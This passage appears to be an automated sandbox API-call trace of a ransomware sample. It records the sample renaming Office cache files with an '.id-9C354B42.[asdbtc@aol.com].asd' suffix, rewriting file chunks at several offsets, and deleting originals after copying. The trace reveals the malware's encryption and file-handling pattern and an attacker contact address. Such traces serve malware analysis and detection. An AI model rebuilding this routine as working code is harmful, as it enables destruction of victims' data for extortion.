Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0058.852] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.852] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0x0) returned 1 [0058.852] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.852] ReadFile (in: hFile=0x1fc, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.858] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.858] ReadFile (in: hFile=0x1fc, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.864] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.864] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.864] ReadFile (in: hFile=0x1fc, lpBuffer=0x36d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x36d0058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.883] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.883] WriteFile (in: hFile=0x1fc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2b3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0059.110] SetEndOfFile (hFile=0x1fc) returned 1 [0059.110] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f53fe8 [0059.110] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.110] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.111] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.111] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.112] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.112] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.114] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f53fe8 | out: hHeap=0x510000) returned 1 [0059.114] CloseHandle (hObject=0x1fc) returned 1 [0059.115] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0059.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.115] lstrlenW (lpString=".doc") returned 4 [0059.115] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0059.115] lstrlenW (lpString=".docx") returned 5 [0059.115] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0059.115] lstrlenW (lpString=".pdf") returned 4 [0059.115] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0059.115] lstrlenW (lpString=".xls") returned 4 [0059.115] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0059.115] lstrlenW (lpString=".xlsx") returned 5 [0059.116] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0059.116] lstrlenW (lpString=".ppt") returned 4 [0059.116] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0059.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.116] lstrlenW (lpString=".zip") returned 4 [0059.116] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0059.116] lstrlenW (lpString=".rar") returned 4 [0059.116] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0059.116] lstrlenW (lpString=".bz2") returned 4 [0059.116] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0059.116] lstrlenW (lpString=".7z") returned 3 [0059.116] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0059.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.116] lstrlenW (lpString=".dbf") returned 4 [0059.116] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0059.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.116] lstrlenW (lpString=".1cd") returned 4 [0059.116] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0059.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.116] lstrlenW (lpString=".jpg") returned 4 [0059.116] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0059.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.116] lstrlenW (lpString=".doc") returned 4 [0059.116] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0059.116] lstrlenW (lpString=".docx") returned 5 [0059.117] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0059.117] lstrlenW (lpString=".pdf") returned 4 [0059.117] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0059.117] lstrlenW (lpString=".xls") returned 4 [0059.117] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0059.117] lstrlenW (lpString=".xlsx") returned 5 [0059.117] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0059.117] lstrlenW (lpString=".ppt") returned 4 [0059.117] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0059.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.117] lstrlenW (lpString=".zip") returned 4 [0059.117] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0059.117] lstrlenW (lpString=".rar") returned 4 [0059.117] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0059.117] lstrlenW (lpString=".bz2") returned 4 [0059.117] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0059.117] lstrlenW (lpString=".7z") returned 3 [0059.117] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0059.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.117] lstrlenW (lpString=".dbf") returned 4 [0059.117] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0059.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.117] lstrlenW (lpString=".1cd") returned 4 [0059.117] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0059.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.117] lstrlenW (lpString=".jpg") returned 4 [0059.117] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0059.118] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0059.118] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0059.118] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0059.694] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=36233052) returned 1 [0059.694] CloseHandle (hObject=0x170) returned 1 [0059.694] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0059.694] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.694] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0060.484] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0060.513] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0x0) returned 1 [0060.519] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.519] ReadFile (in: hFile=0x170, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.577] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.577] ReadFile (in: hFile=0x170, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.580] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.580] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.580] ReadFile (in: hFile=0x170, lpBuffer=0x36d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x36d0058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.017] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.017] WriteFile (in: hFile=0x170, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0061.205] SetEndOfFile (hFile=0x170) returned 1 [0061.205] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f53fe8 [0061.205] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.205] WriteFile (in: hFile=0x170, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.206] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.206] WriteFile (in: hFile=0x170, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.207] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.207] WriteFile (in: hFile=0x170, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.210] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f53fe8 | out: hHeap=0x510000) returned 1 [0061.210] CloseHandle (hObject=0x170) returned 1 [0061.210] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0061.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.210] lstrlenW (lpString=".doc") returned 4 [0061.210] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0061.210] lstrlenW (lpString=".docx") returned 5 [0061.210] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0061.210] lstrlenW (lpString=".pdf") returned 4 [0061.210] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0061.211] lstrlenW (lpString=".xls") returned 4 [0061.211] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0061.211] lstrlenW (lpString=".xlsx") returned 5 [0061.211] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0061.211] lstrlenW (lpString=".ppt") returned 4 [0061.211] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0061.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.211] lstrlenW (lpString=".zip") returned 4 [0061.211] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0061.211] lstrlenW (lpString=".rar") returned 4 [0061.211] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0061.211] lstrlenW (lpString=".bz2") returned 4 [0061.211] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0061.211] lstrlenW (lpString=".7z") returned 3 [0061.211] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0061.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.211] lstrlenW (lpString=".dbf") returned 4 [0061.211] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0061.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.211] lstrlenW (lpString=".1cd") returned 4 [0061.211] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0061.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.211] lstrlenW (lpString=".jpg") returned 4 [0061.211] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0061.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.212] lstrlenW (lpString=".doc") returned 4 [0061.212] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0061.212] lstrlenW (lpString=".docx") returned 5 [0061.212] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0061.212] lstrlenW (lpString=".pdf") returned 4 [0061.212] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0061.212] lstrlenW (lpString=".xls") returned 4 [0061.212] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0061.212] lstrlenW (lpString=".xlsx") returned 5 [0061.212] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0061.212] lstrlenW (lpString=".ppt") returned 4 [0061.212] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0061.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.212] lstrlenW (lpString=".zip") returned 4 [0061.212] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0061.212] lstrlenW (lpString=".rar") returned 4 [0061.212] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0061.212] lstrlenW (lpString=".bz2") returned 4 [0061.212] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0061.212] lstrlenW (lpString=".7z") returned 3 [0061.212] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0061.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.212] lstrlenW (lpString=".dbf") returned 4 [0061.212] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0061.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.212] lstrlenW (lpString=".1cd") returned 4 [0061.213] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0061.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.213] lstrlenW (lpString=".jpg") returned 4 [0061.213] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0061.213] lstrcmpiW (lpString1=".exe", lpString2=".asd") returned 1 [0061.213] lstrlenW (lpString="ose.exe") returned 7 [0061.213] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.256] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=174440) returned 1 [0061.256] CloseHandle (hObject=0x220) returned 1 [0061.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0061.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.257] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.257] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.257] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.257] GetLastError () returned 0x0 [0061.257] ReadFile (in: hFile=0x220, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0061.264] WriteFile (in: hFile=0x1f0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0061.268] ReadFile (in: hFile=0x220, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.268] WriteFile (in: hFile=0x1f0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0061.268] SetEndOfFile (hFile=0x1f0) returned 1 [0061.269] CloseHandle (hObject=0x1f0) returned 1 [0061.269] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.269] SetEndOfFile (hFile=0x220) returned 1 [0061.271] CloseHandle (hObject=0x220) returned 1 [0061.271] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0061.271] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0061.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.272] lstrlenW (lpString=".doc") returned 4 [0061.272] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0061.272] lstrlenW (lpString=".docx") returned 5 [0061.272] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0061.272] lstrlenW (lpString=".pdf") returned 4 [0061.272] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0061.272] lstrlenW (lpString=".xls") returned 4 [0061.272] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0061.272] lstrlenW (lpString=".xlsx") returned 5 [0061.272] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0061.272] lstrlenW (lpString=".ppt") returned 4 [0061.272] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0061.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.272] lstrlenW (lpString=".zip") returned 4 [0061.272] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0061.272] lstrlenW (lpString=".rar") returned 4 [0061.272] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0061.272] lstrlenW (lpString=".bz2") returned 4 [0061.272] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0061.273] lstrlenW (lpString=".7z") returned 3 [0061.273] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0061.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.273] lstrlenW (lpString=".dbf") returned 4 [0061.273] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0061.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.273] lstrlenW (lpString=".1cd") returned 4 [0061.273] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0061.273] lstrlenW 